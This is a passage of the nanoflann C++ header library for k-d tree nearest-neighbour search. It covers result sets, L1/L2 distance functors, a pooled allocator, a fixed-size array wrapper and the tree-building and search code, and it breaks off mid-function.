clouds. * * nanoflann does not require compiling or installing, just an * #include <nanoflann.hpp> in your code. * * See: * - <a href="modules.html" >C++ API organized by modules</a> * - <a href="https://github.com/jlblancoc/nanoflann" >Online README</a> */ #ifndef NANOFLANN_HPP_ #define NANOFLANN_HPP_ #include <vector> #include <cassert> #include <algorithm> #include <stdexcept> #include <cstdio> // for fwrite() #include <cmath> // for fabs(),... #include <limits> // Avoid conflicting declaration of min/max macros in windows headers #if !defined(NOMINMAX) && (defined(_WIN32) || defined(_WIN32_) || defined(WIN32) || defined(_WIN64)) # define NOMINMAX # ifdef max # undef max # undef min # endif #endif namespace nanoflann { /** @addtogroup nanoflann_grp nanoflann C++ library for ANN * @{ */ /** Library version: 0xMmP (M=Major,m=minor,P=patch) */ #define NANOFLANN_VERSION 0x119 /** @addtogroup result_sets_grp Result set classes * @{ */ template <typename DistanceType, typename IndexType = size_t, typename CountType = size_t> class KNNResultSet { IndexType * indices; DistanceType* dists; CountType capacity; CountType count; public: inline KNNResultSet(CountType capacity_) : indices(0), dists(0), capacity(capacity_), count(0) { } inline void init(IndexType* indices_, DistanceType* dists_) { indices = indices_; dists = dists_; count = 0; dists[capacity - 1] = (std::numeric_limits<DistanceType>::max)(); } inline CountType size() const { return count; } inline bool full() const { return count == capacity; } inline void addPoint(DistanceType dist, IndexType index) { CountType i; for (i = count; i>0; --i) { #ifdef NANOFLANN_FIRST_MATCH // If defined and two poins have the same distance, the one with the lowest-index will be returned first. if ((dists[i - 1]>dist) || ((dist == dists[i - 1]) && (indices[i - 1]>index))) { #else if (dists[i - 1]>dist) { #endif if (i<capacity) { dists[i] = dists[i - 1]; indices[i] = indices[i - 1]; } } else break; } if (i<capacity) { dists[i] = dist; indices[i] = index; } if (count<capacity) count++; } inline DistanceType worstDist() const { return dists[capacity - 1]; } }; /** * A result-set class used when performing a radius based search. */ template <typename DistanceType, typename IndexType = size_t> class RadiusResultSet { public: const DistanceType radius; std::vector<std::pair<IndexType, DistanceType> >& m_indices_dists; inline RadiusResultSet(DistanceType radius_, std::vector<std::pair<IndexType, DistanceType> >& indices_dists) : radius(radius_), m_indices_dists(indices_dists) { init(); } inline ~RadiusResultSet() { } inline void init() { clear(); } inline void clear() { m_indices_dists.clear(); } inline size_t size() const { return m_indices_dists.size(); } inline bool full() const { return true; } inline void addPoint(DistanceType dist, IndexType index) { if (dist<radius) m_indices_dists.push_back(std::make_pair(index, dist)); } inline DistanceType worstDist() const { return radius; } /** Clears the result set and adjusts the search radius. */ inline void set_radius_and_clear(const DistanceType r) { radius = r; clear(); } /** * Find the worst result (furtherest neighbor) without copying or sorting * Pre-conditions: size() > 0 */ std::pair<IndexType, DistanceType> worst_item() const { if (m_indices_dists.empty()) throw std::runtime_error("Cannot invoke RadiusResultSet::worst_item() on an empty list of results."); typedef typename std::vector<std::pair<IndexType, DistanceType> >::const_iterator DistIt; DistIt it = std::max_element(m_indices_dists.begin(), m_indices_dists.end()); return *it; } }; /** operator "<" for std::sort() */ struct IndexDist_Sorter { /** PairType will be typically: std::pair<IndexType,DistanceType> */ template <typename PairType> inline bool operator()(const PairType &p1, const PairType &p2) const { return p1.second < p2.second; } }; /** @} */ /** @addtogroup loadsave_grp Load/save auxiliary functions * @{ */ template<typename T> void save_value(FILE* stream, const T& value, size_t count = 1) { fwrite(&value, sizeof(value), count, stream); } template<typename T> void save_value(FILE* stream, const std::vector<T>& value) { size_t size = value.size(); fwrite(&size, sizeof(size_t), 1, stream); fwrite(&value[0], sizeof(T), size, stream); } template<typename T> void load_value(FILE* stream, T& value, size_t count = 1) { size_t read_cnt = fread(&value, sizeof(value), count, stream); if (read_cnt != count) { throw std::runtime_error("Cannot read from file"); } } template<typename T> void load_value(FILE* stream, std::vector<T>& value) { size_t size; size_t read_cnt = fread(&size, sizeof(size_t), 1, stream); if (read_cnt != 1) { throw std::runtime_error("Cannot read from file"); } value.resize(size); read_cnt = fread(&value[0], sizeof(T), size, stream); if (read_cnt != size) { throw std::runtime_error("Cannot read from file"); } } /** @} */ /** @addtogroup metric_grp Metric (distance) classes * @{ */ template<typename T> inline T abs(T x) { return (x<0) ? -x : x; } template<> inline int abs<int>(int x) { return ::abs(x); } template<> inline float abs<float>(float x) { return fabsf(x); } template<> inline double abs<double>(double x) { return fabs(x); } template<> inline long double abs<long double>(long double x) { return fabsl(x); } /** Manhattan distance functor (generic version, optimized for high-dimensionality data sets). * Corresponding distance traits: nanoflann::metric_L1 * \tparam T Type of the elements (e.g. double, float, uint8_t) * \tparam _DistanceType Type of distance variables (must be signed) (e.g. float, double, int64_t) */ template<class T, class DataSource, typename _DistanceType = T> struct L1_Adaptor { typedef T ElementType; typedef _DistanceType DistanceType; const DataSource &data_source; L1_Adaptor(const DataSource &_data_source) : data_source(_data_source) { } inline DistanceType operator()(const T* a, const size_t b_idx, size_t size, DistanceType worst_dist = -1) const { DistanceType result = DistanceType(); const T* last = a + size; const T* lastgroup = last - 3; size_t d = 0; /* Process 4 items with each loop for efficiency. */ while (a < lastgroup) { const DistanceType diff0 = nanoflann::abs(a[0] - data_source.kdtree_get_pt(b_idx, d++)); const DistanceType diff1 = nanoflann::abs(a[1] - data_source.kdtree_get_pt(b_idx, d++)); const DistanceType diff2 = nanoflann::abs(a[2] - data_source.kdtree_get_pt(b_idx, d++)); const DistanceType diff3 = nanoflann::abs(a[3] - data_source.kdtree_get_pt(b_idx, d++)); result += diff0 + diff1 + diff2 + diff3; a += 4; if ((worst_dist>0) && (result>worst_dist)) { return result; } } /* Process last 0-3 components. Not needed for standard vector lengths. */ while (a < last) { result += nanoflann::abs(*a++ - data_source.kdtree_get_pt(b_idx, d++)); } return result; } template <typename U, typename V> inline DistanceType accum_dist(const U a, const V b, int) const { return nanoflann::abs(a - b); } }; /** Squared Euclidean distance functor (generic version, optimized for high-dimensionality data sets). * Corresponding distance traits: nanoflann::metric_L2 * \tparam T Type of the elements (e.g. double, float, uint8_t) * \tparam _DistanceType Type of distance variables (must be signed) (e.g. float, double, int64_t) */ template<class T, class DataSource, typename _DistanceType = T> struct L2_Adaptor { typedef T ElementType; typedef _DistanceType DistanceType; const DataSource &data_source; L2_Adaptor(const DataSource &_data_source) : data_source(_data_source) { } inline DistanceType operator()(const T* a, const size_t b_idx, size_t size, DistanceType worst_dist = -1) const { DistanceType result = DistanceType(); const T* last = a + size; const T* lastgroup = last - 3; size_t d = 0; /* Process 4 items with each loop for efficiency. */ while (a < lastgroup) { const DistanceType diff0 = a[0] - data_source.kdtree_get_pt(b_idx, d++); const DistanceType diff1 = a[1] - data_source.kdtree_get_pt(b_idx, d++); const DistanceType diff2 = a[2] - data_source.kdtree_get_pt(b_idx, d++); const DistanceType diff3 = a[3] - data_source.kdtree_get_pt(b_idx, d++); result += diff0 * diff0 + diff1 * diff1 + diff2 * diff2 + diff3 * diff3; a += 4; if ((worst_dist>0) && (result>worst_dist)) { return result; } } /* Process last 0-3 components. Not needed for standard vector lengths. */ while (a < last) { const DistanceType diff0 = *a++ - data_source.kdtree_get_pt(b_idx, d++); result += diff0 * diff0; } return result; } template <typename U, typename V> inline DistanceType accum_dist(const U a, const V b, int) const { return (a - b)*(a - b); } }; /** Squared Euclidean (L2) distance functor (suitable for low-dimensionality datasets, like 2D or 3D point clouds) * Corresponding distance traits: nanoflann::metric_L2_Simple * \tparam T Type of the elements (e.g. double, float, uint8_t) * \tparam _DistanceType Type of distance variables (must be signed) (e.g. float, double, int64_t) */ template<class T, class DataSource, typename _DistanceType = T> struct L2_Simple_Adaptor { typedef T ElementType; typedef _DistanceType DistanceType; const DataSource &data_source; L2_Simple_Adaptor(const DataSource &_data_source) : data_source(_data_source) { } inline DistanceType operator()(const T* a, const size_t b_idx, size_t size) const { return data_source.kdtree_distance(a, b_idx, size); } template <typename U, typename V> inline DistanceType accum_dist(const U a, const V b, int) const { return (a - b)*(a - b); } }; /** Metaprogramming helper traits class for the L1 (Manhattan) metric */ struct metric_L1 { template<class T, class DataSource> struct traits { typedef L1_Adaptor<T, DataSource> distance_t; }; }; /** Metaprogramming helper traits class for the L2 (Euclidean) metric */ struct metric_L2 { template<class T, class DataSource> struct traits { typedef L2_Adaptor<T, DataSource> distance_t; }; }; /** Metaprogramming helper traits class for the L2_simple (Euclidean) metric */ struct metric_L2_Simple { template<class T, class DataSource> struct traits { typedef L2_Simple_Adaptor<T, DataSource> distance_t; }; }; /** @} */ /** @addtogroup param_grp Parameter structs * @{ */ /** Parameters (see README.md) */ struct KDTreeSingleIndexAdaptorParams { KDTreeSingleIndexAdaptorParams(size_t _leaf_max_size = 10) : leaf_max_size(_leaf_max_size) {} size_t leaf_max_size; }; /** Search options for KDTreeSingleIndexAdaptor::findNeighbors() */ struct SearchParams { /** Note: The first argument (checks_IGNORED_) is ignored, but kept for compatibility with the FLANN interface */ SearchParams(int checks_IGNORED_ = 32, float eps_ = 0, bool sorted_ = true) : checks(checks_IGNORED_), eps(eps_), sorted(sorted_) {} int checks; //!< Ignored parameter (Kept for compatibility with the FLANN interface). float eps; //!< search for eps-approximate neighbours (default: 0) bool sorted; //!< only for radius search, require neighbours sorted by distance (default: true) }; /** @} */ /** @addtogroup memalloc_grp Memory allocation * @{ */ /** * Allocates (using C's malloc) a generic type T. * * Params: * count = number of instances to allocate. * Returns: pointer (of type T*) to memory buffer */ template <typename T> inline T* allocate(size_t count = 1) { T* mem = static_cast<T*>(::malloc(sizeof(T)*count)); return mem; } /** * Pooled storage allocator * * The following routines allow for the efficient allocation of storage in * small chunks from a specified pool. Rather than allowing each structure * to be freed individually, an entire pool of storage is freed at once. * This method has two advantages over just using malloc() and free(). First, * it is far more efficient for allocating small objects, as there is * no overhead for remembering all the information needed to free each * object or consolidating fragmented memory. Second, the decision about * how long to keep an object is made at the time of allocation, and there * is no need to track down all the objects to free them. * */ const size_t WORDSIZE = 16; const size_t BLOCKSIZE = 8192; class PooledAllocator { /* We maintain memory alignment to word boundaries by requiring that all allocations be in multiples of the machine wordsize. */ /* Size of machine word in bytes. Must be power of 2. */ /* Minimum number of bytes requested at a time from the system. Must be multiple of WORDSIZE. */ size_t remaining; /* Number of bytes left in current block of storage. */ void* base; /* Pointer to base of current block of storage. */ void* loc; /* Current location in block to next allocate memory. */ void internal_init() { remaining = 0; base = NULL; usedMemory = 0; wastedMemory = 0; } public: size_t usedMemory; size_t wastedMemory; /** Default constructor. Initializes a new pool. */ PooledAllocator() { internal_init(); } /** * Destructor. Frees all the memory allocated in this pool. */ ~PooledAllocator() { free_all(); } /** Frees all allocated memory chunks */ void free_all() { while (base != NULL) { void *prev = *(static_cast<void**>(base)); /* Get pointer to prev block. */ ::free(base); base = prev; } internal_init(); } /** * Returns a pointer to a piece of new memory of the given size in bytes * allocated from the pool. */ void* malloc(const size_t req_size) { /* Round size up to a multiple of wordsize. The following expression only works for WORDSIZE that is a power of 2, by masking last bits of incremented size to zero. */ const size_t size = (req_size + (WORDSIZE - 1)) & ~(WORDSIZE - 1); /* Check whether a new block must be allocated. Note that the first word of a block is reserved for a pointer to the previous block. */ if (size > remaining) { wastedMemory += remaining; /* Allocate new storage. */ const size_t blocksize = (size + sizeof(void*)+(WORDSIZE - 1) > BLOCKSIZE) ? size + sizeof(void*)+(WORDSIZE - 1) : BLOCKSIZE; // use the standard C malloc to allocate memory void* m = ::malloc(blocksize); if (!m) { fprintf(stderr, "Failed to allocate memory.\n"); return NULL; } /* Fill first word of new block with pointer to previous block. */ static_cast<void**>(m)[0] = base; base = m; size_t shift = 0; //int size_t = (WORDSIZE - ( (((size_t)m) + sizeof(void*)) & (WORDSIZE-1))) & (WORDSIZE-1); remaining = blocksize - sizeof(void*)-shift; loc = (static_cast<char*>(m)+sizeof(void*)+shift); } void* rloc = loc; loc = static_cast<char*>(loc)+size; remaining -= size; usedMemory += size; return rloc; } /** * Allocates (using this pool) a generic type T. * * Params: * count = number of instances to allocate. * Returns: pointer (of type T*) to memory buffer */ template <typename T> T* allocate(const size_t count = 1) { T* mem = static_cast<T*>(this->malloc(sizeof(T)*count)); return mem; } }; /** @} */ /** @addtogroup nanoflann_metaprog_grp Auxiliary metaprogramming stuff * @{ */ // ---------------- CArray ------------------------- /** A STL container (as wrapper) for arrays of constant size defined at compile time (class imported from the MRPT project) * This code is an adapted version from Boost, modifed for its integration * within MRPT (JLBC, Dec/2009) (Renamed array -> CArray to avoid possible potential conflicts). * See * http://www.josuttis.com/cppcode * for details and the latest version. * See * http://www.boost.org/libs/array for Documentation. * for documentation. * * (C) Copyright Nicolai M. Josuttis 2001. * Permission to copy, use, modify, sell and distribute this software * is granted provided this copyright notice appears in all copies. * This software is provided "as is" without express or implied * warranty, and with no claim as to its suitability for any purpose. * * 29 Jan 2004 - minor fixes (Nico Josuttis) * 04 Dec 2003 - update to synch with library TR1 (Alisdair Meredith) * 23 Aug 2002 - fix for Non-MSVC compilers combined with MSVC libraries. * 05 Aug 2001 - minor update (Nico Josuttis) * 20 Jan 2001 - STLport fix (Beman Dawes) * 29 Sep 2000 - Initial Revision (Nico Josuttis) * * Jan 30, 2004 */ template <typename T, std::size_t N> class CArray { public: T elems[N]; // fixed-size array of elements of type T public: // type definitions typedef T value_type; typedef T* iterator; typedef const T* const_iterator; typedef T& reference; typedef const T& const_reference; typedef std::size_t size_type; typedef std::ptrdiff_t difference_type; // iterator support inline iterator begin() { return elems; } inline const_iterator begin() const { return elems; } inline iterator end() { return elems + N; } inline const_iterator end() const { return elems + N; } // reverse iterator support #if !defined(BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION) && !defined(BOOST_MSVC_STD_ITERATOR) && !defined(BOOST_NO_STD_ITERATOR_TRAITS) typedef std::reverse_iterator<iterator> reverse_iterator; typedef std::reverse_iterator<const_iterator> const_reverse_iterator; #elif defined(_MSC_VER) && (_MSC_VER == 1300) && defined(BOOST_DINKUMWARE_STDLIB) && (BOOST_DINKUMWARE_STDLIB == 310) // workaround for broken reverse_iterator in VC7 typedef std::reverse_iterator<std::_Ptrit<value_type, difference_type, iterator, reference, iterator, reference> > reverse_iterator; typedef std::reverse_iterator<std::_Ptrit<value_type, difference_type, const_iterator, const_reference, iterator, reference> > const_reverse_iterator; #else // workaround for broken reverse_iterator implementations typedef std::reverse_iterator<iterator, T> reverse_iterator; typedef std::reverse_iterator<const_iterator, T> const_reverse_iterator; #endif reverse_iterator rbegin() { return reverse_iterator(end()); } const_reverse_iterator rbegin() const { return const_reverse_iterator(end()); } reverse_iterator rend() { return reverse_iterator(begin()); } const_reverse_iterator rend() const { return const_reverse_iterator(begin()); } // operator[] inline reference operator[](size_type i) { return elems[i]; } inline const_reference operator[](size_type i) const { return elems[i]; } // at() with range check reference at(size_type i) { rangecheck(i); return elems[i]; } const_reference at(size_type i) const { rangecheck(i); return elems[i]; } // front() and back() reference front() { return elems[0]; } const_reference front() const { return elems[0]; } reference back() { return elems[N - 1]; } const_reference back() const { return elems[N - 1]; } // size is constant static inline size_type size() { return N; } static bool empty() { return false; } static size_type max_size() { return N; } enum { static_size = N }; /** This method has no effects in this class, but raises an exception if the expected size does not match */ inline void resize(const size_t nElements) { if (nElements != N) throw std::logic_error("Try to change the size of a CArray."); } // swap (note: linear complexity in N, constant for given instantiation) void swap(CArray<T, N>& y) { std::swap_ranges(begin(), end(), y.begin()); } // direct access to data (read-only) const T* data() const { return elems; } // use array as C array (direct read/write access to data) T* data() { return elems; } // assignment with type conversion template <typename T2> CArray<T, N>& operator= (const CArray<T2, N>& rhs) { std::copy(rhs.begin(), rhs.end(), begin()); return *this; } // assign one value to all elements inline void assign(const T& value) { for (size_t i = 0; i<N; i++) elems[i] = value; } // assign (compatible with std::vector's one) (by JLBC for MRPT) void assign(const size_t n, const T& value) { assert(N == n); for (size_t i = 0; i<N; i++) elems[i] = value; } private: // check range (may be private because it is static) static void rangecheck(size_type i) { if (i >= size()) { throw std::out_of_range("CArray<>: index out of range"); } } }; // end of CArray /** Used to declare fixed-size arrays when DIM>0, dynamically-allocated vectors when DIM=-1. * Fixed size version for a generic DIM: */ template <int DIM, typename T> struct array_or_vector_selector { typedef CArray<T, DIM> container_t; }; /** Dynamic size version */ template <typename T> struct array_or_vector_selector<-1, T> { typedef std::vector<T> container_t; }; /** @} */ /** @addtogroup kdtrees_grp KD-tree classes and adaptors * @{ */ /** kd-tree index * * Contains the k-d trees and other information for indexing a set of points * for nearest-neighbor matching. * * The class "DatasetAdaptor" must provide the following interface (can be non-virtual, inlined methods): * * \code * // Must return the number of data points * inline size_t kdtree_get_point_count() const { ... } * * // [Only if using the metric_L2_Simple type] Must return the Euclidean (L2) distance between the vector "p1[0:size-1]" and the data point with index "idx_p2" stored in the class: * inline DistanceType kdtree_distance(const T *p1, const size_t idx_p2,size_t size) const { ... } * * // Must return the dim'th component of the idx'th point in the class: * inline T kdtree_get_pt(const size_t idx, int dim) const { ... } * * // Optional bounding-box computation: return false to default to a standard bbox computation loop. * // Return true if the BBOX was already computed by the class and returned in "bb" so it can be avoided to redo it again. * // Look at bb.size() to find out the expected dimensionality (e.g. 2 or 3 for point clouds) * template <class BBOX> * bool kdtree_get_bbox(BBOX &bb) const * { * bb[0].low = ...; bb[0].high = ...; // 0th dimension limits * bb[1].low = ...; bb[1].high = ...; // 1st dimension limits * ... * return true; * } * * \endcode * * \tparam DatasetAdaptor The user-provided adaptor (see comments above). * \tparam Distance The distance metric to use: nanoflann::metric_L1, nanoflann::metric_L2, nanoflann::metric_L2_Simple, etc. * \tparam DIM Dimensionality of data points (e.g. 3 for 3D points) * \tparam IndexType Will be typically size_t or int */ template <typename Distance, class DatasetAdaptor, int DIM = -1, typename IndexType = size_t> class KDTreeSingleIndexAdaptor { private: /** Hidden copy constructor, to disallow copying indices (Not implemented) */ KDTreeSingleIndexAdaptor(const KDTreeSingleIndexAdaptor<Distance, DatasetAdaptor, DIM, IndexType>&); public: typedef typename Distance::ElementType ElementType; typedef typename Distance::DistanceType DistanceType; protected: /** * Array of indices to vectors in the dataset. */ std::vector<IndexType> vind; size_t m_leaf_max_size; /** * The dataset used by this index */ const DatasetAdaptor &dataset; //!< The source of our data const KDTreeSingleIndexAdaptorParams index_params; size_t m_size; //!< Number of current points in the dataset size_t m_size_at_index_build; //!< Number of points in the dataset when the index was built int dim; //!< Dimensionality of each data point /*--------------------- Internal Data Structures --------------------------*/ struct Node { /** Union used because a node can be either a LEAF node or a non-leaf node, so both data fields are never used simultaneously */ union { struct { IndexType left, right; //!< Indices of points in leaf node } lr; struct { int divfeat; //!< Dimension used for subdivision. DistanceType divlow, divhigh; //!< The values used for subdivision. } sub; }; Node* child1, *child2; //!< Child nodes (both=NULL mean its a leaf node) }; typedef Node* NodePtr; struct Interval { ElementType low, high; }; /** Define "BoundingBox" as a fixed-size or variable-size container depending on "DIM" */ typedef typename array_or_vector_selector<DIM, Interval>::container_t BoundingBox; /** Define "distance_vector_t" as a fixed-size or variable-size container depending on "DIM" */ typedef typename array_or_vector_selector<DIM, DistanceType>::container_t distance_vector_t; /** The KD-tree used to find neighbours */ NodePtr root_node; BoundingBox root_bbox; /** * Pooled memory allocator. * * Using a pooled memory allocator is more efficient * than allocating memory directly when there is a large * number small of memory allocations. */ PooledAllocator pool; public: Distance distance; /** * KDTree constructor * * Refer to docs in README.md or online in https://github.com/jlblancoc/nanoflann * * The KD-Tree point dimension (the length of each point in the datase, e.g. 3 for 3D points) * is determined by means of: * - The \a DIM template parameter if >0 (highest priority) * - Otherwise, the \a dimensionality parameter of this constructor. * * @param inputData Dataset with the input features * @param params Basically, the maximum leaf node size */ KDTreeSingleIndexAdaptor(const int dimensionality, const DatasetAdaptor& inputData, const KDTreeSingleIndexAdaptorParams& params = KDTreeSingleIndexAdaptorParams()) : dataset(inputData), index_params(params), root_node(NULL), distance(inputData) { m_size = dataset.kdtree_get_point_count(); m_size_at_index_build = m_size; dim = dimensionality; if (DIM>0) dim = DIM; m_leaf_max_size = params.leaf_max_size; // Create a permutable array of indices to the input vectors. init_vind(); } /** Standard destructor */ ~KDTreeSingleIndexAdaptor() { } /** Frees the previously-built index. Automatically called within buildIndex(). */ void freeIndex() { pool.free_all(); root_node = NULL; m_size_at_index_build = 0; } /** * Builds the index */ void buildIndex() { init_vind(); freeIndex(); m_size_at_index_build = m_size; if (m_size == 0) return; computeBoundingBox(root_bbox); root_node = divideTree(0, m_size, root_bbox); // construct the tree } /** Returns number of points in dataset */ size_t size() const { return m_size; } /** Returns the length of each point in the dataset */ size_t veclen() const { return static_cast<size_t>(DIM>0 ? DIM : dim); } /** * Computes the inde memory usage * Returns: memory used by the index */ size_t usedMemory() const { return pool.usedMemory + pool.wastedMemory + dataset.kdtree_get_point_count()*sizeof(IndexType); // pool memory and vind array memory } /** \name Query methods * @{ */ /** * Find set of nearest neighbors to vec[0:dim-1]. Their indices are stored inside * the result object. * * Params: * result = the result object in which the indices of the nearest-neighbors are stored * vec = the vector for which to search the nearest neighbors * * \tparam RESULTSET Should be any ResultSet<DistanceType> * \sa knnSearch, radiusSearch */ template <typename RESULTSET> void findNeighbors(RESULTSET& result, const ElementType* vec, const SearchParams& searchParams) const { assert(vec); if (!root_node) throw std::runtime_error("[nanoflann] findNeighbors() called before building the index or no data points."); float epsError = 1 + searchParams.eps; distance_vector_t dists; // fixed or variable-sized container (depending on DIM) dists.assign((DIM>0 ? DIM : dim), 0); // Fill it with zeros. DistanceType distsq = computeInitialDistances(vec, dists); searchLevel(result, vec, root_node, distsq, dists, epsError); // "count_leaf" parameter removed since was neither used nor returned to the user. } /** * Find the "num_closest" nearest neighbors to the \a query_point[0:dim-1]. Their indices are stored inside * the result object. * \sa radiusSearch, findNeighbors * \note nChecks_IGNORED is ignored but kept for compatibility with the original FLANN interface. */ inline void knnSearch(const ElementType *query_point, const size_t num_closest, IndexType *out_indices, DistanceType *out_distances_sq, const int /* nChecks_IGNORED */ = 10) const { nanoflann::KNNResultSet<DistanceType, IndexType> resultSet(num_closest); resultSet.init(out_indices, out_distances_sq); this->findNeighbors(resultSet, query_point, nanoflann::SearchParams()); } /** * Find all the neighbors to \a query_point[0:dim-1] within a maximum radius. * The output is given as a vector of pairs, of which the first element is a point index and the second the corresponding distance. * Previous contents of \a IndicesDists are cleared. * * If searchParams.sorted==true, the output list is sorted by ascending distances. * * For a better performance, it is advisable to do a .reserve() on the vector if you have any wild guess about the number of expected matches. * * \sa knnSearch, findNeighbors, radiusSearchCustomCallback * \return The number of points within the given radius (i.e. indices.size() or dists.size() ) */ size_t radiusSearch(const ElementType *query_point, const DistanceType radius, std::vector<std::pair<IndexType, DistanceType> >& IndicesDists, const SearchParams& searchParams) const { RadiusResultSet<DistanceType, IndexType> resultSet(radius, IndicesDists); const size_t nFound = radiusSearchCustomCallback(query_point, resultSet, searchParams); if (searchParams.sorted) std::sort(IndicesDists.begin(), IndicesDists.end(), IndexDist_Sorter()); return nFound; } /** * Just like radiusSearch() but with a custom callback class for each point found in the radius of the query. * See the source of RadiusResultSet<> as a start point for your own classes. * \sa radiusSearch */ template <class SEARCH_CALLBACK> size_t radiusSearchCustomCallback(const ElementType *query_point, SEARCH_CALLBACK &resultSet, const SearchParams& searchParams = SearchParams()) const { this->findNeighbors(resultSet, query_point, searchParams); return resultSet.size(); } /** @} */ private: /** Make sure the auxiliary list \a vind has the same size than the current dataset, and re-generate if size has changed. */ void init_vind() { // Create a permutable array of indices to the input vectors. m_size = dataset.kdtree_get_point_count(); if (vind.size() != m_size) vind.resize(m_size); for (size_t i = 0; i < m_size; i++) vind[i] = i; } /// Helper accessor to the dataset points: inline ElementType dataset_get(size_t idx, int component) const { return dataset.kdtree_get_pt(idx, component); } void save_tree(FILE* stream, NodePtr tree) { save_value(stream, *tree); if (tree->child1 != NULL) { save_tree(stream, tree->child1); } if (tree->child2 != NULL) { save_tree(stream, tree->child2); } } void load_tree(FILE* stream, NodePtr& tree) { tree = pool.allocate<Node>(); load_value(stream, *tree); if (tree->child1 != NULL) { load_tree(stream, tree->child1); } if (tree->child2 != NULL) { load_tree(stream, tree->child2); } } void computeBoundingBox(BoundingBox& bbox) { bbox.resize((DIM>0 ? DIM : dim)); if (dataset.kdtree_get_bbox(bbox)) { // Done! It was implemented in derived class } else { const size_t N = dataset.kdtree_get_point_count(); if (!N) throw std::runtime_error("[nanoflann] computeBoundingBox() called but no data points found."); for (int i = 0; i<(DIM>0 ? DIM : dim); ++i) { bbox[i].low = bbox[i].high = dataset_get(0, i); } for (size_t k = 1; k<N; ++k) { for (int i = 0; i<(DIM>0 ? DIM : dim); ++i) { if (dataset_get(k, i)<bbox[i].low) bbox[i].low = dataset_get(k, i); if (dataset_get(k, i)>bbox[i].high) bbox[i].high = dataset_get(k, i); } } } } /** * Create a tree node that subdivides the list of vecs from vind[first] * to vind[last]. The routine is called recursively on each sublist. * * @param left index of the first vector * @param right index of the last vector */ NodePtr divideTree(const IndexType left, const IndexType right, BoundingBox& bbox) { NodePtr node = pool.allocate<Node>(); // allocate memory /* If too few exemplars remain, then make this a leaf node. */ if ((right - left) <= m_leaf_max_size) { node->child1 = node->child2 = NULL; /* Mark as leaf node. */ node->lr.left = left; node->lr.right = right; // compute bounding-box of leaf points for (int i = 0; i<(DIM>0 ? DIM : dim); ++i) { bbox[i].low = dataset_get(vind[left], i); bbox[i].high = dataset_get(vind[left], i); } for (IndexType k = left + 1; k<right; ++k) { for (int i = 0; i<(DIM>0 ? DIM : dim); ++i) { if (bbox[i].low>dataset_get(vind[k], i)) bbox[i].low = dataset_get(vind[k], i); if (bbox[i].high<dataset_get(vind[k], i)) bbox[i].high = dataset_get(vind[k], i); } } } else { IndexType idx; int cutfeat; DistanceType cutval; middleSplit_(&vind[0] + left, right - left, idx, cutfeat, cutval, bbox); node->sub.divfeat = cutfeat; BoundingBox left_bbox(bbox); left_bbox[cutfeat].high = cutval; node->child1 = divideTree(left, left + idx, left_bbox); BoundingBox right_bbox(bbox); right_bbox[cutfeat].low = cutval; node->child2 = divideTree(left + idx, right, right_bbox); node->sub.divlow = left_bbox[cutfeat].high; node->sub.divhigh = right_bbox[cutfeat].low; for (int i = 0; i<(DIM>0 ? DIM : dim); ++i) { bbox[i].low = std::min(left_bbox[i].low, right_bbox[i].low); bbox[i].high = std::max(left_bbox[i].high, right_bbox[i].high); } } return node; } void computeMinMax(IndexType* ind, IndexType count, int element, ElementType& min_elem, ElementType& max_elem) { min_elem = dataset_get(ind[0], element); max_elem = dataset_get(ind[0], element); for (IndexType i = 1; i<count; ++i) { ElementType val = dataset_get(ind[i], element); if (val<min_elem) min_elem = val; if (val>max_elem) max_elem = val; } } void middleSplit_(IndexType* ind, IndexType count, IndexType& index, int& cutfeat, DistanceType& cutval, const BoundingBox& bbox) { const DistanceType EPS = static_cast<DistanceType>(0.00001); ElementType max_span = bbox[0].high - bbox[0].low; for (int i = 1; i<(DIM>0 ? DIM : dim); ++i) { ElementType span = bbox[i].high - bbox[i].low; if (span>max_span) { max_span = span; } } ElementType max_spread = -1; cutfeat = 0; for (int i = 0; i<(DIM>0 ? DIM : dim); ++i) { ElementType span = bbox[i].high - bbox[i].low; if (span>(1 - EPS)*max_span) { ElementType min_elem, max_elem; computeMinMax(ind, count, cutfeat, min_elem, max_elem); ElementType spread = max_elem - min_elem;; if (spread>max_spread) { cutfeat = i; max_spread = spread; } } } // split in the middle DistanceType split_val = (bbox[cutfeat].low + bbox[cutfeat].high) / 2; ElementType min_elem, max_elem; computeMinMax(ind, count, cutfeat, min_elem, max_elem); if (split_val<min_elem) cutval = min_elem; else if (split_val>max_elem) cutval = max_elem; else cutval = split_val; IndexType lim1, lim2; planeSplit(ind, count, cutfeat, cutval, lim1, lim2); if (lim1>count / 2) index = lim1; else if (lim2<count / 2) index = lim2; else index = count / 2; } /** * Subdivide the list of points by a plane perpendicular on axe corresponding * to the 'cutfeat' dimension at 'cutval' position. * * On return: * dataset[ind[0..lim1-1]][cutfeat]<cutval * dataset[ind[lim1..lim2-1]][cutfeat]==cutval * dataset[ind[lim2..count]][cutfeat]>cutval */ void planeSplit(IndexType* ind, const IndexType count, int cutfeat, DistanceType cutval, IndexType& lim1, IndexType& lim2) { /* Move vector indices for left subtree to front of list. */ IndexType left = 0; IndexType right = count - 1; for (;;) { while (left <= right && dataset_get(ind[left], cutfeat)<cutval) ++left; while (right && left <= right && dataset_get(ind[right], cutfeat) >= cutval) --right; if (left>right || !right) break; // "!right" was added to support unsigned Index types std::swap(ind[left], ind[right]); ++left; --right; } /* If either list is empty, it means that all remaining features * are identical. Split in the middle to maintain a balanced tree. */ lim1 = left; right = count - 1; for (;;) { while (left <= right && dataset_get(ind[left], cutfeat) <= cutval) ++left; while (right && left <= right && dataset_get(ind[right], cutfeat)>cutval) --right; if (left>right || !right) break; // "!right" was added to support unsigned Index types std::swap(ind[left], ind[right]); ++left; --right; } lim2 = left; } DistanceType computeInitialDistances(const ElementType* vec, distance_vector_t& dists) const { assert(vec); DistanceType distsq = DistanceType(); for (int i = 0; i < (DIM>0 ? DIM : dim); ++i) { if (vec[i] < root_bbox[i].low) { dists[i] = distance.accum_dist(vec[i], root_bbox[i].low, i); distsq += dists[i]; } if (vec[i] > root_bbox[i].high) { dists[i] = distance.accum_dist(vec[i], root_bbox[i].high, i); distsq += dists[i]; } } return distsq; } /** * Performs an exact search in the tree starting from a node. * \tparam RESULTSET Should be any ResultSet<DistanceType> */ template <class RESULTSET> void searchLevel(RESULTSET& result_set, const ElementType* vec, const NodePtr node, DistanceType mindistsq, distance_vector_t& dists, const float epsError) const { /* If this is a leaf node, then do check and return. */ if ((node->child1 == NULL) && (node->child2 == NULL)) { //count_leaf += (node->lr.right-node->lr.left); // Removed since was neither used nor returned to the user. DistanceType worst_dist = result_set.worstDist(); for (IndexType i = 